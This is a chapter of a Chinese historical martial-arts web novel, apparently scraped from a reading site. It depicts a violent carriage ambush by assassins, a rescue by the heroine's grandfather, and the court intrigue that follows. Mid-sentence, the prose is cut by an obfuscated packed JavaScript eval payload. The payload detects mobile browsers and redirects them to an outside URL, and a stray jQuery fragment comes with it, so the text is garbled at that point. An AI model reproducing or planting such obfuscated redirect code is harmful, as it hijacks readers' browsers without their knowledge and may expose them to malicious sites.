默认冷灰
24号文字
方正启体

8. 第 8 章

作者:枭仪本书字数:K更新时间:
    裴四公子如愿领了赶马的差事。


    不断有刺客能够凭借相互配合一跃上车,泛着寒光的长刀软剑径直朝两人劈来,宋清词就守在裴肆之背后,微微弓着身子,凭着熟记于心的掌法徒手掰断一个又一个刺客的手腕腕骨,卸了他们的刀剑,再把人踢下车。


    一开始还能得手几个回合,可渐渐的,对方也能发现她的漏洞,那就是杀招不够狠,且只要多人同时围攻,她那套招式就难以施展。他们无声沟通着这个讯号,顷刻间变令小词吃了几个暗亏,手臂上多了两条剑伤。


    场上局势的异样使得裴肆之忍不住侧目,少女呼吸沉重地半跪在他身边,臂上流淌的鲜血格外刺眼,她死死盯着眼前步步紧逼的人们,反手举起地上的一柄长刀,没有半分退让的意思。


    见此景的裴肆之眉梢染上一抹烦躁,想说些什么,却又咽了下去。


    “别担心,快到了。”宋清词倒是反过来安抚他。


    身后的兵器交缠声又起,裴肆之策马的劲道更狠了几分,眼前却全是她雪白大氅上渗出的血迹。


    少女旋身于众杀手之间,长刀在手的她不再拘于以巧制敌的招式,在窒息且悬命的夜雾中,她被逼得攻势渐渐凌厉起来,身体求生的本能令她无所顾忌,即便大多刺客都已踏上马车紧紧环绕在她身侧,她竟也能在防守的空档使出一斩致命的横劈。


    反应迅速的刺客当即用刀格挡这一斩横劈,却不曾想手中刀被宋清词径直劈断,刀刃方向未改,连同被劈断的还有他的脖子——


    头颅落地,猩红的血喷射而出,溅了宋清词一脸,残忍的视觉冲击令她产生一瞬间的恍惚和惊骇。


    这是她有生之年斩杀的第一人。


    利器摩擦骨头的触感和声音恶魔般的在脑中回溯,小词的手顿时不受控地疯狂抖动起来。


    同时被震慑到的还有周围的刺客,他们亲眼看见宋清词的刀是方才随手捡的,和他们的手中刀材质相同,一般无二。


    一个妙龄女子,哪来的这么大力气,斩得断他们的刀。


    “杀了她!”不知是谁厉喝一声,宋清词背后的那名刺客率先反应过来,在宋清词愕然发怔的关头,泛着寒光的长刀直挺挺地就要送进她的心口。


    小词只感觉被一股巨大的力量从旁拉拽过去,再回首时,她已被拽至马车前沿,裴肆之背对着她,用手腕镣铐间的那截铁链缠绕住刺客的长刀,以此桎梏对方的攻势。


    “裴……”


    “你也是傻。我说交给你,你就真替我扛着。”裴肆之笑得轻松,全然不顾那刀尖距他还有多少距离,“赶车这事太没趣,还是你来吧。”


    “你有伤。”小词道。


    “转过头去。”裴肆之说,“不然马要走偏了。”


    宋清词如他所言稳住缰绳,一面控制好方向和速度,一面用余光扫了眼后面陷入缠斗的裴肆之,只见裴肆之早已将腕间铁链缠上一刺客的脖颈,双目迸发出她从未见过的狠厉神情,顷刻之间就结果了一人的性命。


    又有几人合力从旁刺来,裴肆之不避反上,借对方的刀劈开腕子上的镣铐,再从地上踢来一把刀在手里翻了个旋,如一道影子般冲了进去。


    四溅的血水令小词忍不住打了个寒颤,她默默收回了视线,远远地望见前方屯兵营的火把和旗帜,不由得惊呼:“快到了!坚持住!”


    不曾想刺客之间打了个眼色,原本齐齐围攻裴肆之的刺客忽而拨出几人转身便朝宋清词劈来。裴肆之当即就地翻滚拦截宋清词背后的攻势,几人同时劈下的力气尽数被他接下,牵扯伤口的剧痛令他喉咙间闷哼一声,单膝沉了下去。


    眼见着裴肆之败势既定,刺客自然不会放过这绝佳的机会,拼死向下压刀,另外一人趁势持刀朝宋清词后颈斜劈,势必要将此二人性命即刻结束于此。


    裴肆之不知哪里来的力气,骤然翻刀一跃而起,拦过宋清词的腰往身后一扯,抬腿就朝那人心口踹去。


    哪知那人只是假意攻向宋清词,实际刀尖早已指向裴肆之的胸口,在被蹬下马车的那一刻,同时将那柄长刀被送进裴肆之身前。


    裴肆之避无可避,只勉强调整方向,肩胛正中一刀,深及骨髓。


    中刀的裴肆之有一瞬间觉得自己蠢得厉害。


    他重重地倒下来,新伤旧伤叠在一起,四肢灌了铅一般动弹不得。刺客逐渐靠近的脚步声就在耳畔,裴肆之无暇去看,更不像往常那般插科打诨,男人浑身青筋暴起,大汗淋漓,硬是逼出一分力气去拿刀。


    他若死在这,那个胆子很小的宋姑娘便没有活路了。


    近了……更近了……那些刺客围了上来,无声地举起刀,只需要最后的一步,事情就没有回转的余地了——


    “噌——”


    那个裹着雪白大氅的少女不知何时出现在刺客的身后,将刀刺进为首之人的心口。


    “滴答……滴答……”


    那人的血水顺着刀涌出来,滴在马车的木板上,映在少女的眼里。


    她微微垂着头,不去看身前的惨象,也不在意双手的抖动,只狠狠扭动刀的方向走势,最终在对方的惨叫结束时抽出刀来。


    “你们这些死士,是不是只有死了才能停止杀戮。”


    刀尖甩出血滴,溅在所有持刀人身上,她这时才抬首,眼中蓄着不知因何而起的泪,“没人能在这里肆意屠杀……不论你们背后的人是谁,都不行。”


    这在刺客眼中无外乎是强弩之末的表现,其中一人挥刀便来,宋清词抡着刀不挡反刺,可还不等刀触及对方的身体,就见对方猝然浑身一僵,胸前冒出一支箭头。


    其余刺客堪堪回首,就见远处一身着官袍的年迈男子高坐于雪白的汗血宝马上,挽着一张大弓,弓开如满月,粗壮的白羽箭带着撕开夜雾的气势,在众人的惊愕凝视下,“嗵”地一声直直钉入原本要发狠了结裴肆之的那名刺客的头颅。


    月光洒落在年迈老者的肩上,他身后身披甲胄的屯兵营将士们一阵排开,威风赫赫,蓄势待发。


    “阿翁……”


    宋秋廷喉间低哼一声,绝对的实力几乎要将风声碾得凝滞,在将下一支重箭搭上大弓前,发出一声高喝:“跪下降我者,可活——”


    ……


    裴肆之被将士们移至另一辆马车时,已经有些意识模糊了,却还强行振作着,不想就此睡过去。


    视野有限,他只竭力寻找那道熟悉的声音。


    “阿翁,我都要吓死了……嘶。”


    “你这笨丫头,这是伤哪了?怎么流了这么多血?医官!快传医官来!”


    忙碌了一阵后,那道声音忽而敛去少女的娇气,“小女宋清词,见过言主簿。今日失礼了。”


    “若说失礼,也该是言某贸然前来更为失礼才是。早闻辽东的清词小姐才貌无双,一手文章写得徐州牧都要称赞几分,若来日有幸拜读,还望小姐不吝赐教。”


    言释行朝宋秋廷和宋清词各行了一礼,既客气又恭谨,只是目光掠过一旁的裴肆之时,似是有些愠怒:“我见宋太守行色匆匆,便担心是出了什么事,却没想到这场凶事竟牵连了清词小姐?清词小姐是闺阁女子,按理说不该招惹上什么仇家,定是被谁拖累才遭此无妄之灾,若是太守需要避嫌,不便出面查案,言某或可相助一二。”


    宋清词蹙了蹙眉,抬眼瞧他,“不必了,这不是——”


    “又不是小孩子了,这么晚还在外头贪玩,这回遇到流寇作乱,你可老实了?”宋秋廷倏然开口,又转而朝言释行拱手道:“小词自小便是在我身边长大的,平日在外头行走惯了,仗着有些防身的拳脚功夫便没个拘束,让主簿见笑了。”


    几句话就给事情定了性,既把裴肆之说成了和小词一起贪玩的“同行玩伴”,又把杀手刺客权当成流寇夜袭,瞬间把言释行原本准备好插手的说辞打了回来。即便言释行心知此事来龙去脉,更知道雁过留痕、宋清词提审裴肆之出狱定是有本可查的,但他此刻还真没法细究。


    真细究起来,他言释行在这中间扮演了什么角色,就瞒不住了。


    言释行晦暗的目光几乎转瞬即逝,再开口时那副笑容又是极完美的,“如今的流寇真是猖獗,竟敢跑到宋太守坐镇的襄平城作乱。看来在下要尽早禀明州牧,幽州的剿匪行动刻不容缓啊。”


    宋秋廷露出当晚第一个真心的笑容:“剿匪好啊,是该剿匪。主簿放心,州府的剿匪令一出,我辽东必然第一个响应。”


    言释行应道:“言某下榻之处离宋府不远,我那里有上好的安神汤,是京城章太医亲自拟的方子,待会儿便派人送至宋府。小小心意,宋太守可千万别回绝。”


    小词闻言抽了抽嘴角,实在不明白一个安神汤能有什么差别。


    送走了言释行,宋清词才问:“什么‘一手文章写得徐州牧都称赞’?我怎么不知道这事?”


    阿翁背过身子,“你问我?又不是我称赞的!”


    “不对劲,阿翁你肯定知道。”小词绕到阿翁前面,“是不是你瞒着我,不告诉我?”


    俩人一个躲一个堵,宋秋廷硬生生等到眼前少女堵得他走不了路,才气定神闲道:“有郡内那些人的夸奖还不够?把外边的赞赏都告诉你,你还不得掂不清自己几斤几两?”


    宋清词梗着脖子,“我才不会呢,阿翁又小瞧人了!”


    又喋喋不休道,“郡府官员的夸奖多半是冲着阿翁的面子,这我还是知道的,怎么会全都当真呢?但辽东郡外的夸赞就不一样了,他们又不受限于阿翁……”


    宋秋廷道:“这你就冤枉郡府了,若是看我的面子,大可以从宋府千金的角度赞你的琴艺有多高,模样有多姝丽,没必要真研读你的文章。你林叔今日还与我说,你新作的有关罪罚的策论他看了,你领会得不错,去衙署做个决曹史也尽够了。”


    小词脸上浮现难以掩饰的笑意,连步调也轻快了,“当真?这还是我第一次写刑法策。”


    宋秋廷没继续理身后的人,顾自走近旁边停着的马车,瞅了一眼里头躺着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480518|185618||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的裴肆之。


    “小子,还能喘气不?”


    裴肆之缓缓睁眼,“你们再聊一会,估计就没人能回答你了。”目光却落至站在宋秋廷身后探头探脑的小词。


    少女因打架而乱得毛茸茸的头顶从左冒出一下,又从右冒出一下,许是因为有了主心骨,她看起来状态恢复了不少。


    裴肆之绷着脸:“我这几处伤口有些深,太守若要问话,可能得抓紧点。”


    宋秋廷见状失笑,“成,还算个汉子!你的事容后再说,先让医官把你这一身伤收拾收拾,别耽搁了,保命要紧。”


    军营里的医官得令上了马车,将人衣带解开着手包扎。宋秋廷回头瞄了眼小词,将人拉远了些,“你原定着,是要把他挪到哪去?”


    小词顿时心里发虚,眨巴眨巴眼睛,如实交代:“城……城南别院,阿翁曾经许给我的那座宅子。”


    宋秋廷当即皱眉:“你要把一个陌生男子送至你的私宅?是嫌你阿母对你的训导不够多是不是?”


    “事急从权!只是想避过今晚这阵风头罢了……反正等您开完了集议自然会重新给他安排地儿的。”小词嘟嘟囔囔,“我也不想啊,可哪里还有更严密的地方?城南别院好歹都是咱宋家人把守,知根知底的。”


    宋秋廷沉吟片刻,忽而拽过一旁的宋嶙,“李成沛那王八羔子呢?襄平城就这么大,还没抓到?”


    审视的目光落到旁人身上,宋清词终于喘口气,悠哉道:“如果这会儿去言释行家里抓,肯定一抓一个准,就看阿翁是否决意如此了。”


    宋秋廷偏头瞧她,笑而不语,答案不言而喻。


    被回绝的宋清词也不急,问道:“言释行在城中下榻之处,在哪?”


    宋嶙连忙道:“听说,是在城东的东乡大街上。”


    “是个好地段。”宋清词略略思忖后,抬手召一旁驻守的亲兵将士近前,“明早城门照常打开,不要影响平民百姓的正常通行。你们以盗窃官印为由,拿着李成沛的画像在城门严格排查,势必保证此人无法出城,另外,着三队人马在周渔、白弥、甜巷三地开始逐步向内搜索,声势壮大些,样子做足些。”


    宋秋廷望着她,“这还有点意思,但别把人逼死了,要留活口。”


    宋清词沉默了一会,再开口时语气谈不上冷漠,却也带着一股寒意,“他利用狱卒的家人逼迫狱卒行凶,确实该死。但狡兔三窟,他在襄平为官多年,对地形再熟悉不过,稍微给他开一点生门,他就能借势逃出来。”


    宋秋廷挑挑眉峰,“听着还不错,比你亲自押送裴四的事妥帖不少。”


    “怎么像在取笑我。”小词缩缩脖子,目光移至不远处马车里的男人,“李成沛虽然暂时没抓到,但他手里的棋大抵已经用光了,咱们如今再把裴四送回辽东大牢,亲兵把守,我不信这次还能出差错。”


    宋秋廷有意帮她放松一下心情,扯着少女没受伤的那条胳膊回到马车附近,俩人并排靠在车窗外歇息,“且不说他是何身份,意欲何为,就看人家身上好几个窟窿眼呢,有的伤还和你脱不开关系,这时候给人送回大牢里住着,合适吗?”


    “我觉得不合适。”里面把话听得一清二楚的裴肆之淡淡插嘴。


    突如其来的男声吓了小词一跳,少女捂着胸口,转头就瞧见自家阿翁拿定主意的模样,恼火道:“什么和我脱不开关系,没我在他还未必有命活到现在吗?城南也不行,大牢也不行,那我可不出主意了,总出不到您心坎里去。”


    “怎么没出到心坎里?”宋秋廷拍板定调,“就城南别院了。”


    小词神魂未定,“您方才还说送去城南我会被阿母训斥,转眼就变卦了?”


    宋秋廷两手插袖子里,双目弯弯,“嗯,我突然觉得你阿母今晚会把重点放在你的伤势上,至于这位公子今晚住哪,你阿母应该是顾不上了。”


    一语惊醒梦中人,小词仰头望天,哀声叹气起来,“我突然不是很想回家了,要不今晚我就——”


    “不行。”宋秋廷斩钉截铁。


    “今夜都过去一半了,我随便找个驿馆住下也不会有什么危险的,阿翁你在家里一言九鼎,有您帮我应付肯定能行。”借着雪地脚底打滑,“大侠仗义,小女子先走为敬。”


    “不可能,赶紧上车。”宋秋廷嗤了一声,“真拿我老头子当挡箭牌使?当我老头子傻?你阿父阿母一个比一个聒噪,这是你的修行,可不是我的。”


    押送刺客的兵马早已启程,护送裴肆之的医官和亲兵也奔往城南,几辆马车在屯兵营门口的雪地里留下几圈错乱的车轱辘印,在爷孙俩说话的档口,这军营前的人就已经散的差不多了。


    “阿翁……”被推上马车的小词忽然扒着车门探出头,认真地把阿翁端详一遍,愤恨道:“你忘了请我吃汤饼了!”


    “又找茬?我告诉你,拖时间也没用,今晚这顿骂你躲不过去!”


    “阿翁你这会儿没有方才拉弓的时候英武了!连方才的五成英武都没有!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)